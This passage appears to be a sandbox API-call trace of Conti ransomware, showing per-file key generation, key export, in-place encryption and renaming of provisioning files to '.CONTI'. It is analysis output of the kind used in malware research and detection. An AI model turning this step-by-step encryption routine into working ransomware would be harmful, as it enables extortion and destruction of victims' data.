	[0113.681] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.681] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.682] GetProcessHeap () returned 0x1720000
	[0113.682] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.682] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0113.682] GetProcessHeap () returned 0x1720000
	[0113.682] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6575aa8 | out: hHeap=0x1720000) returned 1
	[0113.682] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0113.682] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x17c8330) returned 1
	[0113.682] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x46fff1c | out: pbData=0x17d5f9c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0113.683] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.694] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0113.694] GetLastError () returned 0x0
	[0113.694] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=711) returned 1
	[0113.694] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0113.694] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.695] SetEndOfFile (hFile=0x398) returned 1
	[0113.695] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.695] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.695] WriteFile (in: hFile=0x398, lpBuffer=0x17d5f9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17d5f9c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.701] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.701] ReadFile (in: hFile=0x398, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2c7, lpOverlapped=0x0) returned 1
	[0113.701] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2c7, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d0) returned 1
	[0113.701] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.701] WriteFile (in: hFile=0x398, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.701] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.701] WriteFile (in: hFile=0x398, lpBuffer=0x17d5f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17d5f90*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0113.701] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.701] CloseHandle (hObject=0x398) returned 1
	[0113.701] GetProcessHeap () returned 0x1720000
	[0113.701] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.701] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml"
	[0113.701] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.701] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.702] GetProcessHeap () returned 0x1720000
	[0113.702] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.702] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.702] GetProcessHeap () returned 0x1720000
	[0113.702] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ba390 | out: hHeap=0x1720000) returned 1
	[0113.702] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0113.702] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x6b53950 | out: phKey=0x6b53950*=0x17c7ef0) returned 1
	[0113.702] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53954, pdwDataLen=0x46fff1c | out: pbData=0x6b53954*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0113.703] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.703] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0113.703] GetLastError () returned 0x0
	[0113.703] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=731) returned 1
	[0113.703] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2db
	[0113.704] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.704] SetEndOfFile (hFile=0x398) returned 1
	[0113.704] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.704] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.704] WriteFile (in: hFile=0x398, lpBuffer=0x6b53954*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x6b53954*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.710] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.710] ReadFile (in: hFile=0x398, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2db, lpOverlapped=0x0) returned 1
	[0113.710] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2db, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2e0) returned 1
	[0113.710] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.710] WriteFile (in: hFile=0x398, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.710] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.711] WriteFile (in: hFile=0x398, lpBuffer=0x6b53948*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x6b53948*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0113.711] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.711] CloseHandle (hObject=0x398) returned 1
	[0113.711] GetProcessHeap () returned 0x1720000
	[0113.711] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.711] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml"
	[0113.711] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.711] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.712] GetProcessHeap () returned 0x1720000
	[0113.712] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.712] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0113.712] GetProcessHeap () returned 0x1720000
	[0113.712] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c79c0 | out: hHeap=0x1720000) returned 1
	[0113.712] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0113.712] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x6b52ba0 | out: phKey=0x6b52ba0*=0x17c8370) returned 1
	[0113.712] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52ba4, pdwDataLen=0x46fff1c | out: pbData=0x6b52ba4*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0113.713] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.713] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0113.713] GetLastError () returned 0x0
	[0113.713] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=724) returned 1
	[0113.713] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0113.713] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.713] SetEndOfFile (hFile=0x398) returned 1
	[0113.713] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.713] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.714] WriteFile (in: hFile=0x398, lpBuffer=0x6b52ba4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x6b52ba4*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.720] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.720] ReadFile (in: hFile=0x398, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2d4, lpOverlapped=0x0) returned 1
	[0113.720] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d4, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2e0) returned 1
	[0113.720] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.720] WriteFile (in: hFile=0x398, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.720] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.720] WriteFile (in: hFile=0x398, lpBuffer=0x6b52b98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x6b52b98*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0113.720] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.720] CloseHandle (hObject=0x398) returned 1
	[0113.720] GetProcessHeap () returned 0x1720000
	[0113.720] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.721] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml"
	[0113.721] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.721] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.721] GetProcessHeap () returned 0x1720000
	[0113.721] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.721] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.721] GetProcessHeap () returned 0x1720000
	[0113.721] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8cb8 | out: hHeap=0x1720000) returned 1
	[0113.721] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0113.721] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x6b53de0 | out: phKey=0x6b53de0*=0x17c8370) returned 1
	[0113.721] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53de4, pdwDataLen=0x46fff1c | out: pbData=0x6b53de4*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0113.722] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.722] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0113.723] GetLastError () returned 0x0
	[0113.723] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=720) returned 1
	[0113.723] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0113.723] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.723] SetEndOfFile (hFile=0x398) returned 1
	[0113.723] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.723] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
